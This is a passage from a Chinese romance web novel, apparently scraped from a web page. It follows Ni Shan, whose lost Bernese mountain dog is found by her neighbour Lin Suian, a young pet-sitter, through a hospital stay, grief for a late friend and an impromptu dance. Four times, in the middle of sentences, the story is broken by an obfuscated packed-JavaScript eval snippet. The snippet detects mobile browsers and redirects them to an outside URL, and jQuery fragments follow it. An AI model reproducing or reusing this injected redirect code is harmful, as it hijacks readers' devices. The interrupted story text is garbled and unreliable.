林岁安看热闹不嫌事儿大地对着楼下一动不动的倪杉说:“我发现你们这种身材娇瘦的女孩儿特喜欢养这种大狗。” 平时遛狗的时候拽得住吗,很危险,养狗也要量力而行啊。 “姐姐,我也不多要,你就给我一万块吧,它前几天把我家院子的围栏撞坏了,还有这几天白吃白住白喝,加上体检费医药费,这个价格很低了。” “对了,你那个寻狗启示上的赏金是真的吗。”八万赏金,林岁安没当真。以防万一,她还是决定问问。 倪杉躺在楼下一动不动,依旧没有反应。 林岁安这才觉得不对劲,她连忙跑下楼,伸手试探她的鼻息。 还活着。但好像有点死了。 “怎么办,你好像把你妈妈给撞晕了。”林岁安看着在一旁欢天喜地的一猪,一把抱起躺在地上的人,发现她体温滚烫,竟然是在发烧。 林岁安叹了口气,一把抓起车钥匙,打算去最近的医院救救她。 在摔下楼的那一刻,倪杉竟然感觉到无比心安。 她看着一猪朝自己扑过来,悬着的心终于稳稳落下。 太好了。你还活着。 真是太好了。 落地的时候,她并没有觉得很痛,只是觉得好累。 她能隐约听到那个年轻女孩说话的声音,不知道她具体在说什么,只觉得有点吵。 她的思绪陷入无边无际的黑暗中,最终,那一点微弱的意识也消散了。 林岁安把倪杉送去医院,在挂号时被迫动手翻了倪杉的包,找出了倪杉的证件。 倪杉。 原来你叫这个名字,像一颗纤细柔软的小树。 “她是什么情况?” “不知道,好好的就晕过去了。”不会是被我气的吧。林岁安很是心虚,她觉得自己很难撇清责任。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299285|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “发热多久了?” “不知道。” “这也太不重视自己的身体了,都发展成肺炎了。先去交押金和住院费,我这边给她安排用药。” “谁?我?不是,我都不认识她啊,我只是怕她死掉,顺便送她过来而已。”林岁安语无伦次地拒绝了。 “要不你们电击她一下,先让她醒过来把钱交了。” “我没钱,我真没钱。” 看着收费处的护士姐姐态度坚定,最终,林岁安动用了自己的花呗。 她这个月真的一滴都没有了。 前几天救的那车猫猫狗狗,在宠物医院的治疗和寄养都需要钱,她和其他志愿者一起凑了钱,按照治疗的最低成本价给秦筝付了款。 坐在病房里,看着昏迷不醒的倪杉,林岁安给秦筝发去消息:“我好像摊上事儿了。” 铁骨铮铮:“怎?” 岁岁平安:“一猪的主人好像,讹上我了。” 铁骨铮铮:“你们面基啦,她是个什么样的人?” 岁岁平安:“是个脆皮坏女人。” 铁骨铮铮:“那八万块钱,她答应给你吗。” 岁岁平安:“不知道,她现在还不能说话。” 铁骨铮铮:“她最好言而有信!不然你也太惨了,白白替她照顾伯恩山,还垫付了给狗体检的费用。” 岁岁平安:“但愿吧。等她醒来我再努力一下试试看。” 铁骨铮铮:“她怎么了?” 岁岁平安:“从我家二楼摔下去,摔晕了。(被伯恩山撞的。” 铁骨铮铮没有继续回复她,应该是去忙了。 林岁安放下手机,盯着医院雪白的墙壁发呆。 这种白墙到底有什么好。白墙背后的原貌是灰败的混凝土,再怎么用白色的腻子掩饰也没有用。 她一眼就能看穿。 要是给她一个经营医院的机会,她就要做一家废土风格的医院。让每个来看病的人一进来就能感受到世界末日般的绝望和不安。 林岁安想着想着就笑了。她看着床边的鞋子,用脚勾过来,和自己的鞋子做对比。 我们两个鞋码好像一样。 她就这么百无聊赖地在病房溜溜哒哒,一直等到天黑,倪杉终于醒了。 倪杉醒来的时候,就看见林岁安鬼鬼祟祟地在半跪在地上,研究一旁的陪护床,像是要把这个床偷走。 她的嗓子彻底歇菜了,很想喊一声抓小偷,但是喊不出声。 等林岁安转过身,看见床上的人醒着,吓得跳了起来: “我去!你吓死我了!你什么时候醒的!” “你说你干的这是什么事,晕倒在我家算怎么回事啊。” 幸亏你活着,不然我可是摊上事了。 我不是闲人,我家还有一堆孩子要照顾。 倪杉不语,只是默默地看着她。 “你……要不给你家里人打个电话,让他们来陪你?” 倪杉摇摇头。 她在枕边摸到了手机,说不出话只能靠发消息: 坚强坏女人:“医药费一共多少钱,我转给你。” 两人已经加了好友,倪杉在心里合计了一下,加上之前的八万赏金,直接转了十万块给林岁安。 林岁安瞬间笑得合不拢嘴,好像这辈子第一次见这么多钱。 她在心里狂喜,大黄,我们发财了!我们有救了! 5. 关于曾沐 收了钱之后,林岁安的态度就变得谦逊友好多了。 她不仅去给倪杉接了热水,还给她去食堂买了粥。 做完这些,林岁安看了眼时间,有些为难地对倪杉说:“那个,没什么事我就先回去了。” “我真得走了,家里一堆猫猫狗狗等着我照顾。”姐姐,我不是闲人。 “一猪的事你不用担心,我回去会给它上药,顺便给他喂得饱饱的,明天起来还会带它出去遛一圈。” 倪杉点点头。 睡了一觉之后,她的一双眼睛也有了些神采,显得柔媚动人。 “那,等你好了之后再来我家接狗,拜拜。”林岁安被她这么盯着看,一时间有点不知所措。 她挥挥手,一溜烟地消失在病房中。 倪杉靠在枕头上,拿着手机,思来想去,还是在微信里点开了曾沐的头像: “沐沐。” “我生病啦,现在一个人在医院。” “晚上很安静,怪可怕的,消毒水味儿真难闻。” “对了。有个好消息。” “一猪找到了。” “被一个年轻女孩捡到了,看在钱的份上,她应该会帮忙暂时好好照顾一猪。” “今晚我要在医院睡觉了,呜呜。” 倪杉放下手机,即使知道自己永远不会收到任何回复,她还是忍不住想发。 除了曾沐,她在世界上再没有第二个可以聊这些话的人。 她的恐惧、焦虑、痛苦、不安,只能对曾沐说。 上次住院已经是许多年前的事情了。 那一次,倪杉在剧组和男演员拍打戏,由于对方动作失误,她被对方手中的木剑戳伤了手腕,瞬间血流不止。 她疼得手都在抖,心里想的却是完了,明天的通告戏份该怎么办,拍不完是不是要算做违约。 她原本也不是什么很重要的角色,只是一个特别出演,戏份比客串要多一些。受伤之后,马上就有另一位女演员接替了她的角色。 曾沐当时就在隔壁剧组拍戏,一听说倪杉受伤的消息,她收工后就急急忙忙赶去医院,等倪杉从手术室出来,心疼地看着她缝了针的手腕,陪着倪杉在医院骂了那个成事不足败事有余的男演员一晚上。 原本低落的心情在曾沐出现后一扫而光,倪杉记得那晚的曾沐还带着民国戏的妆容,头发精致地盘起,红唇鲜艳,穿着一身印着竹子的黑色旗袍,气势汹汹地站在床边检查她身上还有没有别的伤。 倪杉和曾沐自幼被家里送去武术学校,两人从小一起长大。武校的孩子弱肉强食,两个小姑娘相互帮扶,艰难地长大,16岁那年,两人跟着师兄师姐一起去横店拍戏,听说那边需要很多这样有武术功底的年轻群演和武打替身,管吃管住。两人在那个夏天靠着一点小技能赚了些钱,心也变野了。 是曾沐先开始学习的普通话。曾沐发现,有台词的角色比没台词的角色赚的更多,她打算长期做这一行,每天开始学习新技能来精进自己。倪杉跟在她身边,曾沐做什么,她就做什么,她对自己的未来没什么打算。 人生是怎么一回事,未来又该如何,她完全不知道,没有任何想法。 倪杉就这样跟着曾沐一点点变优秀,学护肤,学化妆,从远景里的武打替身渐渐演到小丫鬟,又从小丫鬟演到姨太太。 21岁那年,曾沐签了一家娱乐公司,她劝倪杉和自己一起,倪杉却被为期十年的卖身契吓到了。 “意思是我在未来十年都必须做这个吗。”她难以置信地问曾沐。 “对呀,做演员,有什么不好。” “不行的。万一我后悔了怎么办。你不怕以后会后悔吗。” “我想做演员呀,我想做女主角。”曾沐是认真的,比倪杉想象中还要认真。 曾沐签了公司之后,被公司抓去进行一系列形象上的改进,她垫了鼻子,打了针,公司给她在京市租房子,白天给她安排满满的台词课和表演课,晚上带着她去参加饭局,忙得四脚朝天。 倪杉依旧在横店演一些不入流的小角色,扪心自问,她还是喜欢演打戏,武术对她的影响是长期的,即使不那么漂亮,她也喜欢在镜头前展示一招一式多过自己的脸蛋。即使很多导演都夸她很漂亮,是当红女演员中少见的英气十足的漂亮,她也只觉得那是客套。 倪杉也在年复一年的工作中攒下一些钱,有不少戏约找过来,她思来想去,给自己注册了一家小公司,开了个工作室。 和闪闪发光的曾沐没法比,倪杉再怎么努力投简历,也接不到大制作的戏。她开始越来越频繁地在电视上看到曾沐,曾沐太忙了,和她聊天的时间越来越少。看到曾沐变得这么好,倪杉打心眼儿里为她感到高兴。 她有时在网上点开曾沐的采访,觉得很是陌生。 所有人都说,曾沐马上就要火了。她演了一个又一个女主角,可始终不温不火,倪杉觉得和自己相比,曾沐已经算是很成功了。 曾沐在京市的富人区租了一套大公寓,倪杉在京市偏远的地方租了一套小公寓,在曾沐有时间的时候,倪杉会跨过大半个京市,千里迢迢去曾沐家和她一起吃火锅,聊聊天,听曾沐吐槽工作中的烦心事。 她和曾沐都是一心只想着努力工作赚钱的人,可能是因为小时候苦日子过多了,两人深知物质生活的重要性,曾沐说,自己在大红大紫之前,绝不考虑谈恋爱。 倪杉比曾沐自由些,没那么大的野心。她在剧组和一个女导演谈了为期三年的恋爱,后来又和一个制片人在一起两年半,两位恋人都比倪杉年长,可惜结局都一样,都没能走到最后。 分手之后,曾沐还担心倪杉不开心,一个劲儿地安慰她:“没事!你以后一定会遇到一个更适合你的恋人,能和你长长久久走下去。” “真的吗,我不信。” “我经纪人跟我说,人的运势吧,怎么说呢,是有定数的。你看我,把运势都用在事业上,恋情方面自然就不会太顺。你正相反,在事业上三天打鱼两天晒网,所以你那些运气估计只能用在恋情上了。” “………谢谢你的安慰,我感觉我更难受了。” 非要这么比,那倪杉肯定还是想要在事业上一飞冲天。 只可惜她没有曾沐在表演上那么有天赋,也不太懂饭局上那些复杂的人际关系,方方面面都不太行。她能做的,只是在镜头前漂亮地打出一招一式,用近乎虔诚的认真态度把角色演好,即使她的戏份会被剪掉,即使没人会记得她的名字。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299286|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>曾沐真美,哪怕过了这么多年,倪杉依旧记得她身上那股暖融融的茉莉香。 一晃眼,夜风吹动纱帘,白色的病房空空荡荡,只剩下倪杉一人。 曾沐不在了,这个倒霉的世界却依旧在运转。 倪杉有些伤感地回过神来,端起一旁冷掉的粥,一口一口吃完。 在下床上洗手间的时候,倪杉发现自己的鞋被踢到很远的地方。她单脚蹦跶过去,有些气愤地踩住那只离家出走的鞋,脑海里浮现出小女孩儿开怀大笑的可恶嘴脸。 从洗手间回来,倪杉在黑暗的病房思来想去,还是给岁岁平安发了消息: “今天谢谢你了。” 岁岁平安秒回:“不客气!应该的!姐姐!祝你早日康复!” ………你这收钱前后反差太大了吧。 从之前的爱搭不理到现在的阳光开朗,怎么还两幅面孔呢。 坚强坏女人也假装对她表示关心:“你到家了?” 岁岁平安马上发给她一张一猪的最新照片。 一猪戴着小围兜,正坐在空饭盆面前一脸开心,应该是刚吃好饭。 倪杉躺在床上,轻轻叹气。 不管怎么说,一猪找到就好。 你是她在世界上留给我最后的礼物,你一定要好好活着。 倪杉在医院住了一周。 在这期间,林岁安没有再出现。她依旧每天都给倪杉发来一猪的实况照片,让她放心。 其实一个人住院也没什么,倪杉甚至在食堂找到了一款味道还不错的皮蛋瘦肉粥。 她一直在学着过好自己的生活,也一直在努力让自己适应没有曾沐的人生。 道理她都懂,只是很难。 她的人生太过单调,曾沐是她生命中唯一美好的事。曾沐走了,她就不知道该怎么办了。 倪杉出院那天,没有急着去接一猪回家。 她先回家给自己洗了个澡,把家里简单地收拾好。这房子她也才刚搬过来没多久,因此没什么家的感觉。她能做的就是把家具配齐,把生活用品买齐,就这么简单地带着狗子生活下去。 她并不打算一直住在这里。 要不是为了一猪,她不会搬来这里。 最开始养狗的那几年,倪杉曾无数次崩溃地想下去问问曾沐,当初到底为什么一定要养一只大型犬。 曾沐离开的太突然,在出事前的一个月,她刚在犬舍全款订购了一只伯恩山犬幼崽。倪杉在知道这件事后,连忙去犬舍把曾沐选的那只小狗带回了家。 村上一猪这个名字是曾沐起的,已经在犬舍做了登记。 一开始,她生怕会把这只小狗养死。倪杉以前从未养活过任何小动物,没有成功经验,因此很是忐忑。她努力在线上学习养狗知识和训狗经验,科学喂养,转眼间,一猪就长成了一头敦实的参天大猪。 大型犬在人类密集度如此之高的城市有多人人喊打,她算是深深领教了。 倪杉在京市加入了一个大型犬狗友群,在五年中,群里的大部分人都陆陆续续带着毛孩子搬去了京市周边的小城,倪杉不想一猪受委屈,在榆城的郊区找好了房子,也带着一猪离开了京市。 站在林岁安家门口,倪杉按响了门铃。 6. 莫名交融 “姐姐,你出院啦。”林岁安给她开了门,招呼她进来。 倪杉摆摆手,拒绝了她的邀请。 这个家不进去也罢。太荒凉了,一进去感觉走进了世界末日剧组,没有一点生机。 林岁安毫不介意,转身跑到二楼去打开卧室门,把一猪放出来。 这次倪杉做好了准备,没有被一猪撞翻。一猪登登登登跑下楼,扑跳起来,两只大狗爪急切地搭在倪杉的肩上,嗷嗷呜呜地冲着她嚎叫,像是在抱怨怎么这么晚才来接它。 倪杉好声好气地安抚了它好一会儿,对着在一旁看热闹的林岁安和大黄问道: “它为什么被养在二楼?” “因为一楼是小猫咪的地盘,一猪不太能和小猫们和谐共处,总是被猫猫拳打得落荒而逃,我就把它隔离在二楼了。” 其中一只小猫差点挠伤一猪的眼睛,林岁安吓了一跳,不敢再让一猪和小猫一起玩儿。 “原来如此。我本身还想养猫来着,现在看来还是算了。”倪杉点点头,表示理解。 她弯下腰,又跟一猪亲热了好一会儿。隔了太久没见,双方都非常想念。 倪杉检查了一猪身上的两处伤口,受伤部位被剃了毛,很是明显,还好都不算严重,已经在恢复了。她心疼地摸摸一猪的大脑袋,怎么这么笨,一个狗在外面流浪那么久,一定过得很辛苦。 “那个,姐,我叫林岁安,我是做宠物幼儿园的,就是宠物的日常寄养,洗澡,美容,以及帮忙遛狗,你有需要都可以联系我。” 看着这母子相认的温馨场面,林岁安在一旁适时给自己的小生意打广告。 倪杉那十万块钱算是解决了林岁安的燃眉之急,她还清了花呗和各项救助小动物造成的欠款,身上的债务一下就轻了。 “好的。”倪杉明面上点点头,在心里却狠狠拒绝了她。你放心吧,不会再有下次了。 谁会把自己的小狗送去一个末世废土风格的寄养中心去呢。 林岁安眼睁睁看着倪杉牵着一猪走进了对面的小院,指纹识别成功后进了家门。 这么巧?居然就住在我对门吗。 “你看,你小弟就住在对面的房子里,以后你还是可以找它一起玩儿。”她摸摸大黄的脑袋,一人一狗转身往家里走去。 倪杉晚餐自己做了简单的米饭和西红柿炒鸡蛋。 她现在住的这个小区位置偏远,叫不到什么外卖,也不像在京市时点蔬果配送那样方便,必须自己去超市买。 她很不适应,觉得自己的生活习惯都被改变了。 一猪跟在倪杉脚边,看着她忙前忙后,好几次险些绊倒她。 家里很安静,倪杉开了一部电影,讲的是一位六十岁老奶奶一个人生活的故事。倪杉觉得自己老了以后大概也会像电影中的主人公一样,一个人在小房子里平静地度过余生,一个人做饭,一个人吃饭,一个人出门买菜。 这样也挺好的,倪杉想。她原本的养老计划是和曾沐一起买一栋带院子的小房子,两人相互照顾,她养猫,曾沐养狗,谁死的晚谁就继承对方的遗产。 现在她租到了理想的小院子,以后如果懒得搬家,那就买下来,然后就可以安心在这里等死了。 她环顾四周,这房子装修时花掉她很大一笔钱,如果未来要搬走,她一定要把这里砸的稀巴烂。 她就这么自顾自地想着这些有的没的的事,收拾完餐具,这才想起要在睡觉之前敷个面膜。 榆城的气候没有京市那么干燥,倪杉这些天在医院都是用清水洗脸,再涂一层宝宝面霜,没想到皮肤状态还算不错。 倪杉洗好脸后弯腰闻了闻,发现一猪已经被洗过了,并没有很脏,晚上睡觉前换了新的床单被罩,她在心里挣扎了一下,勉强允许一猪一起上床。 一猪激动地在床上疯狂刨着床垫,回到熟悉的地方,它肉眼可见很是开心。 倪杉躺在床上抱着一猪,觉得安全感满满,只可惜下周就要进组。她原本有半个月的休息时间,结果有一半时间都用来生病住院,这么多时间就这样白白浪费掉了。 望着天花板上柔软安宁的云朵灯,她忽然很好奇,林岁安家的卧室是什么样的,难道也是水泥墙面和地面吗。 每天住在冷冰冰的水泥房子里是什么感受?年轻人真是让人费解啊。 此时此刻,林岁安正在她的毛坯房里听着音乐跳舞。 是的,这房子是她买的! 年纪轻轻,二十五岁,就拥有了一套属于自己的房子!大部分钱是从父母手里骗来的上学费用,远在北城的父母没想到林岁安根本没去留学,拿着每年到账的学费和生活费到处去旅游、做流浪猫狗救助、创业、买房,做了很多事。 林岁安买了房子之后负债累累,没钱装修,连家具都买不起,因此就在废土风的房子里过起了小日子。 独栋小楼就是这点好,不用担心扰民,她可以在房子里听吵闹的歌,随意摇摆,喝着小酒,好不快乐。 她这个人性格散漫自由,受不了一点压迫。高中时被应试教育压弯了防线,心理崩溃,遗憾休学,父母原打算继续送她去留学,她表面上乖乖配合,雅思考八分,拿到四家名校offer,背地里却在机场和父母告别后背着行李去了北欧旅行,没去学校报道。 不需要上学之后,林岁安彻底放飞自我,开始思考自己未来的人生该怎样过。思来想去,她考虑到自己已经二十多岁了,不适合做高强度的辛苦的工作,工作多了容易缩减寿命,她也不想再爱这个世界了,在未来的每一天她都要继续休息和玩耍,从长远的角度考虑,她决定给自己养老。 她开始在全国范围内寻找适合养老的城市,一边旅游一边找寻,耗时一年多时间,终于在榆城找到了她想要的那种半死不活的感觉。 这座城市好啊,这座城市它没有那种嗷嗷奋斗的氛围和生机,和林岁安气场很契合。 她换了一首歌,决定再跳一支舞就去睡觉。 她这个人很能自娱自乐,愣是在大半夜把自己给跳兴奋了。 最终,林岁安气喘吁吁地累倒在床垫上,她展开双手,回神,一点点解开身上的衬衫扣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299287|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她没有买床,只有一张双人床垫摆在地上。 昨夜下了一场小雨,早上天气不错,倪杉给一猪系好牵引绳,带着一猪出门散步。 她直到今天才有多余的心情观察邻居的生活环境,林岁安的小院儿很是丰富,不仅砌了一个小池塘,还按了一架秋千,秋千旁摆着一条公园同款长椅。 这椅子她到底是从哪儿搞来的,也太荒谬了。 倪杉拿出手机给这长椅拍了一张照片,有意识到自己没有可以发送这张照片的朋友。于是默默收起手机,牵着一猪往小路走去。 她今天穿着一身黑色运动衣,勾勒出纤细的腰线和长腿,小病初愈,她依然有些咳嗽。 走着走着,远远就看见前方有一个花不溜秋的身影。 林岁安穿着一身五彩斑斓的运动衣,刚好也在遛狗。她牵了大大小小五只狗,有金毛,边牧,法斗,还有柴犬和柯基。 好混乱的颜色。现如今在这个社会中这样的显眼包已经不多了。 倪杉停下脚步,看着林岁安和一群狗子浩浩荡荡朝她走来,她很自然地牵着一猪靠边站,给她们让开空间。 “姐,早上好。”林岁安说着,顺便腾出手摸摸一猪。 一猪亲切地对她摇着尾巴,倪杉抓紧狗绳,制止了它想要扑上去的动作。 “你好。” “姐,你和你的狗真配,一看就是那种美女与野兽的组合,很像迪士尼动画。” “……谢谢。” 哎呦喂,你还评价上我了? “你哪儿来这么多狗?” “姐,你真是贵人多忘事,我是开宠物寄养幼儿园的,这都是客户的狗子,我刚带他们从山上玩儿回来。”林岁安说着摸摸胸前的拇指运动相机,她要拍下遛狗和游玩的过程给小狗的主人看。 “想不到你生意这么好啊。”还真有人把自己的狗送去你那个毛坯房里去啊。 “大黄呢?”倪杉忽然想起那只有点憨厚的中华田园犬,那只狗应该是林岁安的自留犬。 “大黄自己一个狗进山溜达了,玩儿够了就会回来。我有没有跟你说,一猪就是它从山里找到的。” “这样吗,我还以为一猪是在小区里找到的。” 倪杉又惊讶又感到后怕: “那真是多亏了大黄,狗跑去山里,我真是一点办法也没有了。” 茫茫大山,上哪儿去找呢。 林岁安点点头,话不多说,带着狗子们往回走去。 回去之后要给狗子们擦脚,喂饭,还有好多事要做。 倪杉牵着一猪走到小区门口,再往前走一段路就是上山的路。在周末,有不少登山爱好者都会背着很大的包从这里走过,越靠近山,就越是安静,静到能听到虫声,鸟叫声以及山间的水流声。树叶沙沙作响,像是翻滚的海浪。 难道林岁安刚刚带着那么多狗一起进山了吗。 倪杉站在路口犹豫着,最终还是牵着一猪往反方向走去。 她不想上山。 她要去超市买水果、矿泉水和蔬菜。 7. 突然跳舞 一星期过去,倪杉并没有找到合适的宠物寄养中心。榆城不像京市那样发达,在宠物业务方面几乎是一片空白,可选择的寄养中心少之又少。 倪杉抽空去看了一家寄养中心,老板是个男人,说是寄养中心,其实就是最脏乱差的犬舍,笼子里的狗看上去已经很久没有洗过澡了,饭盆也脏兮兮的,很是可怜。倪杉是不能接受自己的狗被当成畜生饲养的,她要找的是能把小狗当小孩子照顾的寄养中心。 马上就要进组了,她纠结了很久,在晚饭之后,做了好大的心理准备才按响了林岁安家的门铃。 她心里计划着这次要进去好好看看猫狗的寄养环境,二楼到底是什么样的?房间里是一间一间的大隔间吗?一猪在这里住会不会很拥挤啊。 门一开,倪杉还以为家里在开派对。所有猫狗都在一楼玩闹蹦跳,林岁安穿着一身淡蓝色衬衫,黑色西装裤很长,裤脚拖在地面,气喘吁吁地扶着门看着她,音乐声没有停,倪杉愣了半晌,听出这是地下丝绒的专辑。 她来不及说话,林岁安忽然牵起她的手,拉着她进门,丝滑地带着她跳起了双人舞。 这首温柔的摇滚乐曲是CandySays,倪杉之前经常听,因此对旋律和歌词很是熟悉。 林岁安一手搂着倪杉的腰,一手牵着她的手,随着温柔的旋律在空旷的客厅旋转,倪杉看着她享受的样子,意识到她已经完全沉浸在其中,对外界的一切都毫无反应,只有这首歌,只有这支舞。 林岁安牵她的力道很轻柔,只要她想,她就可以挣脱,她惊讶于自己竟然这样配合。 一开始还有些尴尬,倪杉不会跳舞,她的舞步都是乱的,好几次踩到林岁安,林岁安踩着一双外穿的英伦皮鞋,完全不介意,她太沉浸了,什么都无法把她从这种快乐的状态中拽出来,就像小猫在忙着捉蝴蝶,一心一意,绝不分心。 倪杉在她身上看出几分流浪猫的姿态,灵巧消瘦,不管不顾,恣意洒脱,无拘无束,任何规矩都无法将她驯服。 只能远远观看,不能饲养。 林岁安带着她越转越快,倪杉在晕眩中仰起头,看见天花板上零星安装着的几颗灯泡,柔软明亮又直白,没有任何多余的设计,就是灯泡本身。 不知不觉中,歌曲已经换成了FemmeFatale。 倪杉也很喜欢这首歌,她发现林岁安体力真好,竟然一边跳一边跟唱: “You''renumberthirty-sevenhavealook~ She''sgoingtosmiletomakeyoufrownwhataclown~” 她甚至还唱出了颤音。 那一瞬间,倪杉身上的鸡皮疙瘩都起来了。 幸好这首歌只有两分半。 或许是因为感觉到自己的舞伴体力不支,林岁安踩着最后的几个音符,带领她到一旁的木质公园同款长椅上休息。 倪杉坐在椅子上,觉得此情此景很是奇妙,一点也不符合常理。一只橘猫好奇地跳到她身旁,或许是闻出了她身上有一猪的味道,因此很放心地靠着她翻起了肚皮。 林岁安暂停了音乐。 音乐不停,她没办法从刚刚那种沉浸的情绪中脱离出来。她坐在另一张长椅上,一边喘息,一边看着倪杉。 倪杉穿了一身浅灰色的绵绸睡衣,一头棕色长卷发翩然垂落,脸颊微红,穿着拖鞋,很随性。 “你的头发是烫的卷还是自来卷?”林岁安突然问道。 “烫的。自来卷没有这么大的卷。” “也是。” 林岁安点点头,歪着脑袋问道: “你来找我是为了来和我跳舞的吗?” “当然不是。”倪杉立马说。 对哦,我是来干什么的来着? “要喝咖啡吗。”林岁安笑着问她。她的眼尾上翘,没画眼线却自带眼线效果。 倪杉点点头。 两支舞跳完,她现在口干舌燥,急需饮水。 林岁安当着她的面,从地上的纸箱里拿出一盒雀巢咖啡,从盒子里抽出两袋,撕开,又拿出两个纸杯,然后用暖水壶里的热水冲泡开来。 不一会儿,两杯热腾腾的现做咖啡就上桌了。 “喝吧,别客气。” 倪杉:………真是谢谢你了。 她犹豫地端起杯子,觉得太烫了,又放下。 “我来找你是想咨询一下一猪寄养方面的事。” “明天我要出门,差不多要走半个月。我想给一猪找一家正规一点的寄养中心,可惜榆城这边根本没有。” “我这里很正规啊,我这里到目前为止可是零差评呢,住过的猫狗都说好。”这话林岁安可就不爱听了。 “哪怕贵一些我都可以接受,我只想让一猪被照顾得好一些。” “所以……那种正规的寄养中心,你有没有好的推荐?”倪杉考虑了半天,还是把这个难以启齿的事情问出了口。 “姐,你看你说的是什么话。你来我饭店吃饭,还要问我哪家餐馆的饭更好吃,这礼貌吗。” 林岁安拿起一旁的逗猫棒,唰唰挥舞,靠在倪杉怀里的小猫马上被她调走了。 啊哈,好一出南猫北调。 倪杉恋恋不舍地摸着小猫刚刚躺过的地方,她一直都很想养猫,可惜养了一猪之后又怕一猪和小猫合不来,于是迟迟没有行动。 “孩子放我家你就放心吧,我家每天都能保证小狗的户外运动量,有任何情况都会及时跟主人沟通。” 一番剧烈运动之后,林岁安有点热。她从手腕上取下一根黑色的头绳,随意地把头发扎成一个小丸子,往房间走去。 她的发质柔软顺滑,很松的发圈系不住,需要多绑几圈。 倪杉也站起身,跟在她身后。她没有进房间,而是靠在门口,看着林岁安给她展示笼子里那一群被救助的小奶猫和小土狗。 “这是你养的?” “不是,这是救助的,暂时寄养在我这里。等身体养好了之后就给它们找领养。” 在另一个更大的房间,林岁安打开门,倪杉这才看到分隔好的寄养笼子。见到有人进来,所有狗子都起身开始汪汪叫。 这批入住的小狗都比较配合,有时也会碰上那种特别不愿意住笼子的小狗,林岁安都会把它留在客厅或卧室,让它和自己待在一起。 “你这笼子不行,太小了,一猪住的话会很挤。”倪杉对此不是很满意,她也知道自己在没事找事。之前在京市,一猪去过不少寄养中心,都是这种规模的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299288|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笼子。 “一猪确实比一般的大型犬要胖。所以和之前一样,养在二楼,也就是我的卧室。” 倪杉跟着林岁安上楼,这楼梯扶手都是最简易的铁栏杆,感觉很不安全。 林岁安打开卧室门,一张双人床垫摆在靠墙的位置,没有柜子也没有架子,床边放在厚厚的几摞书。 “一猪之前就住在这个房间,每天白天会跟我在一楼多待一会儿,直到它开始骚扰小猫咪,我就会把它带上来。” 林岁安说着,一屁股坐在床垫上,就这么张开双臂躺在倪杉面前。这么大的床,你的小狗当初可是很喜欢呢。 倪杉故意不去看她这副显眼包的模样,走到窗边,惊讶地发现从这个角度刚好可以清晰地看到自己家。 她家全屋的灯都开着,二楼没有拉窗帘,能清晰地看到一猪正在床上趴着睡觉。 她在心里默默想:这也太没有隐私了,全部都被看光光,以后我可一定要记得拉窗帘。 “你做这一行多久了?”倪杉有些好奇地问道。 “一年多。”这房子从买下来到入住,刚好一年多。 “我看你还很年轻,年纪轻轻就自己当老板了?” 倪杉抱着手臂倚靠着窗台,仔细打量着她。 “你多大?23?24?” “25。” “25岁啊。啧啧。” “怎么?觉得我太年轻,靠不住?”林岁安在做流浪动物救助的时候经常遇到这种情况。那些老成员似乎不欢迎她的加入,觉得她没有稳定的生活来源,只是一时兴起。 只有和她一样年轻的秦筝愿意信任她。 “不是。就是觉得你们年轻人还挺有想法的……”倪杉在心里计算着25岁是一个什么概念,刚大学毕业吗。 “你会觉得茫然吗。对未来,对现在。”倪杉好奇地问她。 她觉得在远离人烟的小城做着这样的小生意,颇有一种逃离高压力、焦虑的世俗生活的意味。 “我不觉得。至少我已经找到了自己喜欢的生活方式,每天忙的都是能让我感到快乐的事。许多人终其一生都没有选择做自己喜欢的事,还有一些人一直到老都不知道自己喜欢做什么。” 倪杉点点头,有一种被这小孩教育了的错觉。 那我呢。 我难道没有在做自己喜欢的事吗。 我喜欢做演员吗?好像也还好,谈不上喜欢也谈不上不喜欢。 “那是你这里的寄养是怎么收费的 “小型犬一天188,超级肥胖大型犬一天288。不管你觉得贵还是便宜又或是值不值得,在我这里,这个价格和我的付出与劳动是完全匹配的。” 